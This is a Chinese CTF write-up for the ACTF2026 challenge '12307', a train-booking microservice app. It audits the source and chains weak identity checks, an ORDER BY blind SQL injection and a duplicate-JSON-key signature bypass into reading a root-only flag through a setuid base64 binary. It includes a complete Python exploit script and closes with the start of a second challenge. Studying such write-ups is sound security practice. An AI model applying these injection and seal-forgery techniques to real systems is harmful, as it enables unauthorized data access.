ACTF2026

弥补一下去年没做的遗憾(

12307

From出题人:

题目描述: Book your train ticket to the FLAG…… Now!

预期难度: 简单(103 / 1000 pts / 175 solves);使用 codex 预期解耗时:5 分钟

题目定位: 一个多服务、利用业务逻辑完成利用链拼接的签到题。


出题背景: 这个题在赛前 24h 才匆忙完成。由于是签到题,应该也没关系吧。不知或许是因为 agent 对它自己写出来的代码具有强大的亲和性,我始终无法只靠 agent 将预期解出时间调整至超过半小时;如果是纯古法做的话可能得一两个小时甚至更久吧。这道题或许是一个 agent 最擅长漏洞类型的典例。


看出题人的预期是签到题然后 Codex 5分钟秒了,然后估算人工可能要1-2h甚至往上,但因为是非比赛期间,所以我就当提升代码审计水平来了

首先可以收集一波信息:

nginx.conf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
server {
...
location /api/ {
proxy_pass http://passenger_gateway;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection $connection_upgrade;
proxy_set_header Host $host;
proxy_set_header Cookie $http_cookie;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}

location /rail-local/ {
return 404;
}

location /signer/ {
return 404;
}

location /station/import/ {
return 404;
}

location /settlement-worker/ {
return 404;
}

location / {
try_files $uri $uri/ /index.html;
}
}

这里可以知道正常业务可以访问的是 /api,然后一些内部的接口比如 rail-local 这些是无法访问的

Dockerfile

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
RUN cat > /start.sh <<'EOF'
#!/bin/sh
set -eu
rm -f /start.sh

chown root:root /flag
chmod 0600 /flag
chown root:root /usr/bin/base64
chmod 4755 /usr/bin/base64

install -d -m 0750 -o settle -g settle /run/rail-spool
spool_key="$(od -An -N24 -tx1 /dev/urandom | tr -d ' \n')"
printf '%s\n' "$spool_key" > /run/rail-spool/bridge.key
cat > /run/rail-spool/device-map.json <<'MAP'
{
"profile-delta-closeout": {"codec":"settlement-filter","acceptedPrograms":["/usr/bin/base64"]},
"profile-north-closeout": {"codec":"settlement-filter","acceptedPrograms":["/usr/bin/printf"]},
"profile-baggage-preview": {"codec":"settlement-filter","acceptedPrograms":["/usr/bin/printf"]}
}
MAP

这里可以知道 flag 文件只有 root 才可以读取,但可以发现 base64 这个命令有 sudo 权限,如果可以的话后续可以用 base64 来读取 /flag

至于源码是如何执行一个命令,可以先在 services\print_spooler\worker.pyrun_driver(program, argument)里找到一个:

1
pid = os.posix_spawn(program, [program, argument], os.environ, file_actions=file_actions)

这里执行了 programargument,然后我们来看哪里用到了 run_driver,依旧是 worker.py

1
2
3
4
5
6
7
8
9
10
def handle(raw):
...
program = str(ticket.get("driverProgram", ""))
argument = str(ticket.get("driverArgument", ""))
accepted = route.get("acceptedPrograms")
if not isinstance(accepted, list) or program not in [str(item) for item in accepted]:
publish(ticket_id, "review")
return
value = run_driver(program, argument)
...

可以看到的是 programargument 是读取 driverProgramdriverArgument 的值来得到的

services\depot_layout\app.py 可以找到 ticket 的信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
def spool_device(route, context):
print_plan = context.get("printPlan") if isinstance(context.get("printPlan"), dict) else {}
ticket = {
"ticketId": random_id("P", 12),
"deviceRef": route["device_ref"],
"stationCode": route["station_code"],
"driverProfile": route.get("driver_profile", ""),
"codec": route.get("codec", ""),
"driverProgram": str(print_plan.get("driverProgram", ""))[:160],
"driverArgument": str(print_plan.get("driverArgument", ""))[:160],
"context": {
"batchId": context.get("batchId"),
"orderId": context.get("orderId"),
"stationCode": context.get("stationCode"),
},
"issuedAt": int(time.time()),
}

然后 lay_out 是从 services\settlement_worker\worker.py 这里获得请求的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
def bridge_preview(device_ref, context, print_plan):
body = json.dumps({
"deviceRef": str(device_ref)[:64],
"context": {
"batchId": context.get("batchId"),
"orderId": context.get("orderId"),
"stationCode": context.get("stationCode"),
"printPlan": {
"driverProgram": str(print_plan.get("driverProgram", ""))[:160],
"driverArgument": str(print_plan.get("driverArgument", ""))[:160],
},
},
}, separators=(",", ":")).encode()
try:
conn = http.client.HTTPConnection("127.0.0.1", int(os.environ.get("LAYOUT_PORT", "5009")), timeout=3)
conn.request("POST", "/depot/layout/preview", body=body, headers={ # 这里发起请求
"Content-Type": "application/json",
"Content-Length": str(len(body)),
"X-Layout-Bridge": "bureau",
})
resp = conn.getresponse()
payload = resp.read()
if resp.status != 200:
return "[layout-error]"
data = safe_json(payload.decode(errors="replace"), {}) or {}
return str(data.get("value", ""))[:4000]
except Exception as exc:
return f"[layout-error:{exc.__class__.__name__}]"

可以看到这个函数接收了一个 print_plan 的参数,可以在 services\receipt_signer\app.py 里找到:

1
2
3
4
5
6
7
8
9
10
11
12
13
def verify_carrier_seal(data, order, batch_id, template_digest, station_cfg, boarding_channel):
...
print_plan = {
"profile": str(render_view.get("printProfile", "counter-copy"))[:64],
"printer": str(render_view.get("printer", "thermal-standard"))[:64],
"prefix": str(render_view.get("prefix", "reconciliation"))[:48],
"cell": str(render_view.get("cell", "receipt"))[:48],
"ledgerRef": checks["ledgerRef"],
"boardingNonce": str((boarding_channel or {}).get("boardingNonce", "")),
"driverProgram": str(render_view.get("driverProgram", ""))[:160],
"driverArgument": str(render_view.get("driverArgument", ""))[:160],
}
return print_plan, []

而这个发生在 结算阶段,所以我们可以在这一步的时候插入 base64/flag

知道该如何执行命令了,我们可以回到一开始,分析一下这个项目是如何运作的:

首先是身份问题

前端对应的是 requestIdentity(),在 frontend/src/main.jsx

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
async function requestIdentity() {
try {
await api("/api/mobile/identity/continue", {
method: "POST",
body: JSON.stringify({
passenger: passengerName || "Passenger",
relayState: { next: "rail://continue/seat-hold", flow: ["seat-hold"] },
partnerMetadata: {
entityID: "railway-partner",
compatBinding: "x-accel",
role: "PassengerIdentityProvider",
},
assertion: "<Assertion><Audience>12307</Audience><NameID>mobile-passenger</NameID><Signature>RelayState</Signature></Assertion>",
}),
});
await loadWorkspace();
flash("Passenger identity continued");
} catch (error) {
flash(error.data?.error || "Identity continuation failed");
}
}

乘客的身份并不是本地系统直接签发,而是由某个 partner 侧传进来,然后本地再把它补成一个自己的 session

后端在 services/sso_gateway/server.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
async function continueIdentity(req, res) {
...
const ok = partnerContinuation(data);
const sessionId = crypto.randomBytes(18).toString("base64url");
const session = {
state: ok ? "compat-pending" : "pending",
trust: ok ? "partner-continuation" : "unverified",
partnerId: String(data.partnerId || "mobile-partner").slice(0, 64),
stationCode: String(data.stationCode || "BJP").slice(0, 16),
trustLevel: Array.isArray(data.trustLevel) ? data.trustLevel : ["mobile", ok ? "partner" : "guest"],
passenger,
issuedAt: Date.now(),
};
await redisCommand("SET", `rail:sso:session:${sessionId}`, JSON.stringify(session), "EX", "900");
...
}

这个 partnerContinuation(data) 它实际上只是做了一堆字符串匹配,只要数据里出现了一些预期的字段和关键词,就会得到一个 compat-pending 的 session

但除了上面的得到的这个 session,还需要 continuation

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
async function completeSession(req, res) {
...
data.state = "complete";
data.completedAt = Date.now();
await redisCommand("SET", `rail:sso:session:${sessionId}`, JSON.stringify(data), "EX", "900");
await redisCommand("SET", `rail:passenger:continuation:${sessionId}`, JSON.stringify({
passenger: data.passenger,
trust: data.trust,
partnerId: data.partnerId || "mobile-partner",
stationCode: data.stationCode || "BJP",
trustLevel: data.trustLevel || ["mobile", "partner"],
completedAt: data.completedAt,
}), "EX", "900");
...
}

services/edge_gateway/server.js 里的 holdFlow() 会先去检查 continuation 状态:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
async function holdFlow(req, res, body) {
const check = await proxy(5002, "/session/check", "GET", Buffer.alloc(0), req.headers);
let seatHoldClass = "";
if (check.status === 204 && check.headers["x-session-continuation"] === "complete") {
seatHoldClass = "quota-sync";
} else if (check.status === 401 && check.headers["x-session-continuation"] === "pending") {
const continued = await proxy(5002, "/_rail/session/check", "GET", Buffer.alloc(0), req.headers, {
"X-Session-Bridge": "continue",
});
if (continued.status === 204) seatHoldClass = "quota-sync";
}

const held = await proxy(5000, "/orders/hold", "POST", body, req.headers, {
"X-Seat-Hold-Class": seatHoldClass,
});
...
}

后面 ticketing_api.create_order() 触发时,会从 cookie 里取 passenger_session,再调用 session_to_mysql()

1
2
3
cookies = parse_cookie(self.headers.get("Cookie", ""))
passenger_session = cookies.get("passenger_session", "guest")
session_to_mysql(passenger_session, passenger)

session_to_mysql() 只有在 continuation 存在时,才会插入partner_trust

1
2
3
4
5
6
raw = redis.command("GET", f"rail:sso:session:{session_id}")
...
continuation = redis.command("GET", f"rail:passenger:continuation:{session_id}")
if continuation:
...
INSERT INTO partner_trust(...)

所以这里可以想知道一点就是,后面的流程需要 continuation

然后就是订票

1
2
3
4
5
6
7
8
9
function TrainCard({ train, seatClass, reserve, requestBoard }) {
const status = seatStatus(train, seatClass);
const fare = Number(train.price || 0) * (seatClass === "business" ? 2.7 : seatClass === "first" ? 1.45 : 1);
return (
...
<span>From <strong>{money(fare)}</strong></span>
<button onClick={() => reserve(train, status)}>{status.left > 0 ? "Reserve" : "Join waitlist"}</button> <!--这里进入一个判断,判断是否有余票-->
);
}

然后 reverse

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
async function reserve(train, status) {
try {
if (status.left <= 0) {
await api("/api/mobile/orders/hold", {
method: "POST",
body: JSON.stringify({ trainId: train.id, seatClass, holdMode: "waitlist" }),
});
}
const passenger = passengerName || workspace.session?.passenger || "Passenger";
const data = await api("/api/mobile/orders", {
method: "POST",
body: JSON.stringify({ trainId: train.id, seatClass, passenger }),
});
flash(data.order.status === "waitlisted" ? `${data.order.trainId} waitlisted` : `${data.order.trainId} reserved`);
await loadWorkspace();
} catch (error) {
flash(error.data?.error === "identity_continuation_required" ? "Complete passenger identity first" : error.data?.error || "Reservation failed");
}
}

会请求 /api/mobile/orders/hold/api/mobile/orders 这两个接口之后就分别进入买票和候补阶段,至于具体怎么做的,先不管,看订票完后面要干嘛

然后是站务desk,这里就给出接口:services/station_portal/app.py

1
2
3
4
5
6
7
station_portal 是 desk 服务
list_notices():列公告
create_notice():站内发布 notice,同时把 proxy_hint 存起来
search_tickets():查 ticket_index
reprice_fare():给某个 station / tariffScope 重新报价
adjust_ticket():基于 claim proof 记一条 adjustment memo
health_import():把 desk 侧事件转发给 station_import

接着就是 station_import

services/station_import/app.py

它根据 adapter 干不同的事:

1
2
3
station-partner-feed:编译站内 notice feed,发布 lane / board profile / partner jwks
station-desk-ledger:消费 ticket_adjustments,把 desk memo 编译成真实业务状态
enterprise-clearing:把 tariff exception claim 激活成 layout entitlement

主要就是写 Redis

再者就是结算

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
/api/corporate/reconciliation
-> pricing_sampler.create_batch()
-> 新建 render_jobs

/api/corporate/receipts/prepare
-> enterprise_gateway.mergeLayoutClaim()
-> station_import.enterprise-clearing
-> receipt_signer.validate_context()
-> receipt_signer.verify_carrier_seal()
-> 新建 settlement_receipts
-> Redis 里写一份 rail:receipt:seal:<receipt_id>

/api/corporate/settlement/schedule
-> settlement_scheduler.schedule_batch()
-> Redis LPUSH rail:settlement:jobs

settlement_worker
-> BRPOP rail:settlement:jobs
-> handle_job()
-> load_context()
-> validate()
-> render()
-> 如果有 service-device,就继续 bridge_preview() <-- 这里对应了我们之前分析的可控参数program

bridge_preview()
-> HTTP /depot/layout/preview
-> depot_layout.collect_device()
-> spool_device()
-> Redis LPUSH rail:spool:requests

print_spooler
-> BRPOP rail:spool:requests
-> handle()
-> run_driver(program, argument)
-> Redis LPUSH rail:spool:result:<ticketId>

最后结果再从 Redis 回到 depot_layout
-> settlement_worker.render()
-> MySQL render_results.body

这一段对应到具体代码里,大概是这样:

services/pricing_sampler/app.py

1
2
3
4
5
6
7
8
9
10
11
def create_batch(self, data):
...
template = REPORT_TEMPLATES.get(report_type, REPORT_TEMPLATES["fare-preview"])
template_digest = digest_template(template)
...
execute(
"""
INSERT INTO render_jobs(batch_id,receipt_id,order_id,station_code,template_digest,template_body,data_json,status,created_at,updated_at)
...
"""
)

这里的作用就是先建一个 batch,对应一条 render_jobs

然后就是 services/enterprise_gateway/server.js

1
2
3
4
5
6
7
8
9
if (req.method === "POST" && path === "/api/enterprise/receipts/prepare") {
...
await mergeLayoutClaim(orderId, stationCode);
const cachedLane = await redisGet(`rail:interline:lane:${stationCode}`);
const signerLane = laneFromCache(cachedLane);
...
const response = await forward(SIGNER_PORT, "/signer/receipts/prepare", body, signerHeaders);
...
}

这里先做了一次 mergeLayoutClaim(),也就是先把 layout entitlement 相关的状态补好,然后再去转发给真正的 receipt_signer

mergeLayoutClaim() 实际上会去打 station_import

1
2
3
4
5
6
7
8
9
10
11
12
async function mergeLayoutClaim(orderId, stationCode) {
...
const body = Buffer.from(JSON.stringify({
stationCode,
adapter: "enterprise-clearing",
target: `rail-mesh://clearing/layout?orderId=${encodeURIComponent(orderId)}&stationCode=${encodeURIComponent(stationCode)}`,
payload: "invoice-dispute=merged",
}));
await forward(IMPORT_PORT, "/station/import/probe", body, {
"X-Enterprise-Gateway": "station-mesh",
});
}

station_import 这边:

1
2
if adapter == "enterprise-clearing" and order_id:
return activate_layout_claim(order_id, station_code)

再进入:

1
2
3
4
5
6
7
8
9
def activate_layout_claim(order_id, station_code):
...
execute(
"""
INSERT INTO bureau_layout_cells(...)
"""
)
...
redis.command("SET", f"rail:layout:entitlement:{order_id}", station_code, "EX", "180")

也就是说,这一步意义是:企业准备 receipt 之前,要先确认 layout 权限已经下发

这个状态后面 receipt_signersettlement_worker 都会检查

接着就进入 services/receipt_signer/app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
def validate_context(handler, data, batch_id, order, template_digest):
...
profile = one("SELECT * FROM station_profiles WHERE station_code=%s", (station_code,))
_profile, station_cfg = station_policy(station_code)
...
waitlist = one("SELECT * FROM waitlist_entries WHERE order_id=%s", (order["order_id"],))
trust = one(
"SELECT * FROM partner_trust WHERE session_id=%s AND status='accepted' ORDER BY created_at DESC LIMIT 1",
(order["passenger_session"],),
)
...
continuation = live_continuation(order)
boarding_channel = ledger_attestation(order["order_id"], station_code, station_cfg)
layout_entitlement = redis.command("GET", f"rail:layout:entitlement:{order['order_id']}") or ""

这里就能看出 trusted receipt 需要的前置条件:

1
2
3
4
5
6
7
1. 订单必须是 waitlisted
2. waitlist_entries.sampled = 1
3. station_profiles.batch_open = 1,renderer_profile / signer_route
4. partner_trust.status = accepted
5. rail:passenger:continuation 存在
6. rail:ledger:channel 存在
7. rail:layout:entitlement 存在

满足这些之后,就会执行 verify_carrier_seal()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
def verify_carrier_seal(data, order, batch_id, template_digest, station_cfg, boarding_channel):
...
public_view = json.loads(payload_text, object_pairs_hook=first_wins_object)
render_view = json.loads(payload_text)
...
for key, expected_value in checks.items():
if str(public_view.get(key, "")) != str(expected_value):
return None, ["partner_receipt_review"]

print_plan = {
"profile": str(render_view.get("printProfile", "counter-copy"))[:64],
"printer": str(render_view.get("printer", "thermal-standard"))[:64],
"prefix": str(render_view.get("prefix", "reconciliation"))[:48],
"cell": str(render_view.get("cell", "receipt"))[:48],
"ledgerRef": checks["ledgerRef"],
"boardingNonce": str((boarding_channel or {}).get("boardingNonce", "")),
"driverProgram": str(render_view.get("driverProgram", ""))[:160],
"driverArgument": str(render_view.get("driverArgument", ""))[:160],
}
return print_plan, []

注意这里有个非常关键的点:它校验的时候用的是 public_view,生成后续打印参数的时候用的是 render_view,这就导致如果 JSON 里有重复键,那么验证时候的值和实际的值是可以不一样的

然后后面就是我们前面分析的,可以执行 /usr/bin/base64 /flag 的阶段了

那么漏洞可以插在哪里?

身份

services/sso_gateway/server.js

这里 partnerContinuation() 只是做字符串包含判断,外部构造出一个看起来像 partner continuation 的请求,就能拿到一个 compat-pending 的 session

然后再借助 edge_gatewayholdFlow() 自动走 /_rail/session/check 完成 continuation,这样一张后面创建出来的 waitlist order 就带上了可以通过 trusted settlement 检查的 passenger_session

desk 重新报价里的 ORDER BY 注入

services/station_portal/app.py

1
2
3
4
def fare_scope_expression(scope):
...
if scope.get("mode") == "legacy-rank":
return str(scope.get("expr", "ticket_no"))[:240]

然后在:

1
2
3
4
5
sql = (
"SELECT ticket_no,station_code,status FROM ticket_index "
"WHERE station_code IN (%s,'BJP') "
f"ORDER BY {scope} LIMIT 1"
)

这里直接把 expr 拼进了 ORDER BY,所以可以利用 /api/desk/fares/reprice 做布尔盲注,从 station_claim_artifacts 里把 claimProof 对应的内容注入出来

station_import

1
2
3
4
5
6
7
8
create_notice() + station-partner-feed
-> 编译出 lane / board profile / partner jwks

adjust_ticket() + station-desk-ledger
-> 编译出 sampled=1、batch_open=1、renderer_profile、signer_route

enterprise-clearing
-> 编译出 layout entitlement

verify_carrier_seal()

1
2
public_view = json.loads(payload_text, object_pairs_hook=first_wins_object)
render_view = json.loads(payload_text)

由于校验和实际渲染的不一样,所以可以覆盖掉前面一个

1
2
3
4
5
6
7
8
{
"printProfile":"counter-copy",
"printer":"thermal-standard",
"printProfile":"clearing-batch",
"printer":"line-printer",
"driverProgram":"/usr/bin/base64",
"driverArgument":"/flag"
}

这样校验时 public_view 看到的是前一组值
真正生成 print_planrender_view 拿到的是后一组值


Exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
#!/usr/bin/env python3
import base64
import hashlib
import hmac
import json
import re
import time

import requests
from websocket import create_connection


BASE = "http://127.0.0.1:62307"

STATION = "HGH"
TRAIN_ID = "G7608"
SEAT_CLASS = "business"
TICKET_QUERY = "HGH"
TRUSTED_POLICY_ID = "POL-HGH-TRUSTED"
TRUSTED_ROUTE = "delta-window-27"
TRUSTED_SECRET = "e94c0a8d-12307-hgh-trusted"
BOARD_STREAM = "seat-window-e27"
BOARD_TOPIC = "seat-consist"
DRIVER_PROGRAM = "/usr/bin/base64"
DRIVER_ARGUMENT = "/flag"


def make_session():
session = requests.Session()
session.trust_env = False
return session


def ensure(ok, message):
if not ok:
raise RuntimeError(message)


def print_step(message):
print(f"[+] {message}", flush=True)


def weak_continue_and_waitlist_channel(session):
data = {
"partnerMetadata": "railway-partner compatBinding PassengerIdentityProvider",
"relayState": ["continue", "seat-hold"],
"assertion": "<Assertion><Audience>12307</Audience><NameID>solver</NameID></Assertion>",
"stationCode": STATION,
"passenger": "solver",
"trustLevel": ["mobile", "partner", "settlement"],
"partnerId": "mobile-partner",
}
resp = session.post(f"{BASE}/api/mobile/identity/continue", json=data)
ensure(resp.status_code == 202, f"identity continue failed: {resp.status_code} {resp.text}")

resp = session.post(
f"{BASE}/api/mobile/orders/hold",
json={"trainId": TRAIN_ID, "seatClass": SEAT_CLASS, "holdMode": "waitlist"},
)
ensure(resp.status_code == 200, f"waitlist channel failed: {resp.status_code} {resp.text}")
ensure("waitlist_session" in session.cookies.get_dict(), "waitlist_session cookie missing")


def create_waitlisted_order(session):
resp = session.post(
f"{BASE}/api/mobile/orders",
json={"trainId": TRAIN_ID, "seatClass": SEAT_CLASS, "passenger": "solver"},
)
ensure(resp.status_code == 201, f"create order failed: {resp.status_code} {resp.text}")
order = resp.json()["order"]
ensure(order["status"] == "waitlisted", f"unexpected order status: {order['status']}")
return order


def seed_notice_feed():
session = make_session()
proxy_hint = (
f"X-Desk-Lane: {TRUSTED_ROUTE}\r\n"
f"X-Board-Window: {BOARD_STREAM}\r\n"
f"X-Desk-Key-Id: {TRUSTED_POLICY_ID}\r\n"
f"X-Desk-Key: {TRUSTED_ROUTE}"
)
resp = session.post(
f"{BASE}/api/desk/notices",
json={"stationCode": STATION, "title": "ops", "body": "ops", "proxyHint": proxy_hint},
)
ensure(resp.status_code == 201, f"create notice failed: {resp.status_code} {resp.text}")

resp = session.post(
f"{BASE}/api/corporate/imports/relay",
json={
"stationCode": STATION,
"adapter": "station-partner-feed",
"target": f"rail-cache://redis/partner/metadata?stationCode={STATION}",
"payload": "",
},
)
ensure(resp.status_code == 200, f"compile feed failed: {resp.status_code} {resp.text}")


def lookup_ticket_no():
session = make_session()
resp = session.get(f"{BASE}/api/desk/tickets/search", params={"q": TICKET_QUERY, "sort": "ticket_no"})
ensure(resp.status_code == 200, f"ticket search failed: {resp.status_code} {resp.text}")
tickets = resp.json().get("tickets", [])
for ticket in tickets:
if ticket.get("trainId") == TRAIN_ID and ticket.get("stationCode") == STATION:
return ticket["ticketNo"]
raise RuntimeError("target ticket not found")


def fare_bucket(expr):
session = make_session()
resp = session.post(
f"{BASE}/api/desk/fares/reprice",
json={
"stationCode": STATION,
"amount": 0,
"tariffScope": {"mode": "legacy-rank", "expr": expr},
},
)
ensure(resp.status_code == 200, f"fare oracle failed: {resp.status_code} {resp.text}")
return resp.json()["quote"]["bucket"]


def leak_claim_proof(order_id):
subquery = (
"SELECT CONCAT('CP-',claim_salt,'-',LEFT(claim_digest,12)) "
f"FROM station_claim_artifacts WHERE order_id='{order_id}'"
)
out = []
for position in range(1, 26):
lo, hi = 0, 127
while lo < hi:
mid = (lo + hi) // 2
expr = (
"station_code='BJP' XOR "
f"(ASCII(SUBSTRING(({subquery}),{position},1))>{mid})"
)
if fare_bucket(expr) == "north-window":
lo = mid + 1
else:
hi = mid
out.append(chr(lo))
return "".join(out)


def apply_adjustment(ticket_no, claim_proof):
session = make_session()
memo = {
"stationCode": STATION,
"channel": "fare-desk",
"lineItems": {
"reason": "FARE-91",
"layout": "folio-grid-27",
"device": "PR-HGH-042",
"enabled": True,
},
}
resp = session.post(
f"{BASE}/api/desk/tickets/adjust",
json={
"ticketNo": ticket_no,
"claimProof": claim_proof,
"memo": json.dumps(memo, separators=(",", ":")),
"delta": 0,
},
)
ensure(resp.status_code == 202, f"ticket adjust failed: {resp.status_code} {resp.text}")


def compile_station_rule(order_id):
session = make_session()
resp = session.post(
f"{BASE}/api/desk/imports/health",
json={
"stationCode": STATION,
"adapter": "station-desk-ledger",
"target": f"rail-cache://redis/settlement/review?orderId={order_id}&stationCode={STATION}",
"payload": "compiled",
},
)
ensure(resp.status_code == 200, f"station rule compile failed: {resp.status_code} {resp.text}")


def create_batch(order_id):
session = make_session()
resp = session.post(
f"{BASE}/api/corporate/reconciliation",
json={
"orderId": order_id,
"stationCode": STATION,
"reportType": "carrier-closeout",
"defer": True,
"data": {"carrier": "solver"},
},
)
ensure(resp.status_code == 202, f"create batch failed: {resp.status_code} {resp.text}")
return resp.json()


def refresh_epoch_and_ledger(order_id):
session = make_session()
weak_continue_and_waitlist_channel(session)

resp = session.post(f"{BASE}/api/mobile/waitlist/pulse", json={"orderId": order_id})
ensure(resp.status_code == 202, f"pulse failed: {resp.status_code} {resp.text}")

wait_cookie = session.cookies.get("waitlist_session")
ws = create_connection(
f"ws://127.0.0.1:62307/api/connect/boarding?stationCode={STATION}",
header=[f"Cookie: waitlist_session={wait_cookie}"],
timeout=5,
enable_multithread=False,
)
try:
hello_required = json.loads(ws.recv())
channel = hello_required["channel"]
ensure(hello_required["topic"] == BOARD_TOPIC, f"unexpected board topic: {hello_required}")

ws.send(json.dumps({"type": "boarding.hello", "channel": channel}))
ready = json.loads(ws.recv())
ensure(ready["event"] == "boarding.ready", f"unexpected ready event: {ready}")

ws.send(json.dumps({
"type": "boarding.bind",
"topic": BOARD_TOPIC,
"trainId": TRAIN_ID,
"seatClass": SEAT_CLASS,
}))
bound = json.loads(ws.recv())
ensure(bound["event"] == "boarding.bound", f"unexpected bound event: {bound}")

ws.send(json.dumps({
"type": "boarding.confirm",
"orderId": order_id,
"stationCode": STATION,
"epoch": "2",
}))
confirmed = json.loads(ws.recv())
ensure(confirmed["event"] == "boarding.confirmed", f"unexpected confirm event: {confirmed}")
return confirmed["ledgerRef"]
finally:
ws.close()


def b64url(data):
return base64.urlsafe_b64encode(data).rstrip(b"=").decode()


def craft_carrier_seal(batch_id, order_id, template_digest, ledger_ref):
protected = b64url(json.dumps(
{"alg": "HS256", "typ": "rail-carrier-seal", "kid": TRUSTED_POLICY_ID},
separators=(",", ":"),
).encode())

payload_text = (
"{"
f"\"batchId\":\"{batch_id}\","
f"\"orderId\":\"{order_id}\","
f"\"stationCode\":\"{STATION}\","
f"\"templateDigest\":\"{template_digest}\","
f"\"routeName\":\"{TRUSTED_ROUTE}\","
f"\"ledgerRef\":\"{ledger_ref}\","
"\"printProfile\":\"counter-copy\","
"\"printer\":\"thermal-standard\","
"\"printProfile\":\"clearing-batch\","
"\"printer\":\"line-printer\","
"\"prefix\":\"reconciliation\","
"\"cell\":\"receipt\","
f"\"driverProgram\":\"{DRIVER_PROGRAM}\","
f"\"driverArgument\":\"{DRIVER_ARGUMENT}\""
"}"
)
payload = b64url(payload_text.encode())
signature = b64url(hmac.new(
TRUSTED_SECRET.encode(),
f"{protected}.{payload}".encode(),
hashlib.sha256,
).digest())
return {"protected": protected, "payload": payload, "signature": signature}


def prepare_receipt(order_id, batch_id, template_digest, ledger_ref):
session = make_session()
resp = session.post(
f"{BASE}/api/corporate/receipts/prepare",
json={
"stationCode": STATION,
"orderId": order_id,
"batchId": batch_id,
"templateDigest": template_digest,
"trustLevel": ["mobile", "partner", "settlement"],
"carrierSeal": craft_carrier_seal(batch_id, order_id, template_digest, ledger_ref),
},
)
ensure(resp.status_code == 201, f"prepare receipt failed: {resp.status_code} {resp.text}")


def schedule_and_fetch_flag(batch_id):
session = make_session()
resp = session.post(f"{BASE}/api/corporate/settlement/schedule", json={"batchId": batch_id})
ensure(resp.status_code == 202, f"schedule failed: {resp.status_code} {resp.text}")

for _ in range(30):
time.sleep(0.3)
resp = session.get(f"{BASE}/api/corporate/reconciliation/{batch_id}")
ensure(resp.status_code == 200, f"poll failed: {resp.status_code} {resp.text}")
report = resp.json().get("report")
if not report or not report.get("body"):
continue
body = report["body"]
if not report.get("ready"):
continue
match = re.search(r"([A-Za-z0-9+/=]+)\s*$", body)
ensure(match is not None, f"base64 payload not found in report body: {body}")
flag = base64.b64decode(match.group(1)).decode()
return body, flag
raise RuntimeError("flag not rendered in time")


def main():
print_step("creating initial trusted passenger session and waitlisted order")
order_session = make_session()
weak_continue_and_waitlist_channel(order_session)
order = create_waitlisted_order(order_session)
order_id = order["id"]
print(f"[=] order_id={order_id}", flush=True)

print_step("arming station notice feed to publish lane, board profile and JWKS")
seed_notice_feed()

print_step("locating ticket number for the target station/train")
ticket_no = lookup_ticket_no()
print(f"[=] ticket_no={ticket_no}", flush=True)

print_step("leaking claim proof through the legacy ORDER BY SQL injection oracle")
claim_proof = leak_claim_proof(order_id)
print(f"[=] claim_proof={claim_proof}", flush=True)

print_step("submitting a valid adjustment rule and compiling it into the station ledger")
apply_adjustment(ticket_no, claim_proof)
compile_station_rule(order_id)

print_step("creating a deferred reconciliation batch")
batch = create_batch(order_id)
batch_id = batch["batchId"]
template_digest = batch["templateDigest"]
print(f"[=] batch_id={batch_id}", flush=True)
print(f"[=] template_digest={template_digest}", flush=True)

print_step("refreshing fulfillment epoch and ledger attestation just before signing")
ledger_ref = refresh_epoch_and_ledger(order_id)
print(f"[=] ledger_ref={ledger_ref}", flush=True)

print_step("forging a trusted carrier seal with duplicate JSON keys")
prepare_receipt(order_id, batch_id, template_digest, ledger_ref)

print_step("scheduling settlement rendering and extracting the flag from the report")
body, flag = schedule_and_fetch_flag(batch_id)
print(f"report_body={body}", flush=True)
print(f"flag={flag}", flush=True)


if __name__ == "__main__":
main()


# ACTF{wHy_ar1_y0u_so0O0o0Oo0o_Fas1?????_C2Cfw6ryD94}

PS:感觉AI签到不代表人也是签到(

GoMySQL

题目描述: Go!!!!! MySQL plus your lucky number

预期难度: 中等(270 / 1000 pts / 55 solves);使用 codex 预期解耗时:> 5 小时 / 无法解出

题目定位: 一个经典的 CTF 黑盒题,包括经典 UDF + 应用逻辑提权。


比赛时候实测确实是 5h 以上也看不出解出的希望(

进去可以先看到 Draw Name 和 Calc

